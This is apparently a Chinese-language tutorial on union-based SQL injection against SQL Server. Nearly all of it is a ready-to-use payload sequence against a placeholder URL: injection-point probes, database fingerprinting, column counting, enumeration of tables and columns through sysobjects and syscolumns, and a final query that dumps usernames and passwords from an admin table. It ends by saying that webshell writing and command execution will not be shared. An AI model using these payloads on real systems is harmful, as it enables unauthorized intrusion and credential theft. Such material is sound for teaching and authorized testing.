SQL注入--sql server
談到SQL注入,不得不提它的本質,把使用者的輸入資料當做程式碼來執行。兩個關鍵條件,第一個是使用者能夠控制的輸入;第二個是程式要執行的程式碼,拼接了使用者輸入的資料
按照注入的技術型別可分解為:
顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,DNS查詢注入,報錯注入,延時注入和布林注入。這篇文章重點在分享一些聯合查詢注入的命令
1.首先來判斷注入點(URL類)
當目標URL為:www.target.com/1.php?id=88時,來進行簡單的注入點判斷;
www.target.com/1.php?id=88-0 無變化
www.target.com/1.php?id=88-1 報錯
www.target.com/1.php?id=88 and 1=1 無變化
www.target.com/1.php?id=88-1 and 1=2 報錯
2.判斷是何種資料庫
URL+/*!%20s*/ 錯誤則是MySQL;URL+/*pc 正常為MySQL
URL+and exists(select @@version)-- 正常為SQL Server
3.SQL Server 2008注入過程
判斷欄位數:
id=1/**/Order/**/By/**/5/**/-- 正常則欄位數≥5 --和/**/均為註釋用來註釋執行語句時的程式碼 保證注入程式碼正常執行
id=1/**/Order/**/By/**/6/**/-- 錯誤則欄位數<6
判斷資料型別,字元型就可以SQL注入了
id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL-- 正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL-- 正常 (一位一位去嘗試)
顯示資料庫版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--
當前庫名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--
指定庫表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from庫名..sysobjects where xtype='u' and name not in(select top 0 name from 庫名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--
當前庫查詢表
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects-- //第二個top從0開始輸入 1,2,....列出當前庫所有表名
查詢admin變內的欄位
d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二個top從0開始遍歷
檢視admin變欄位id,username,password的內容
id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--
webshell寫入和系統命令執行就不能再分享了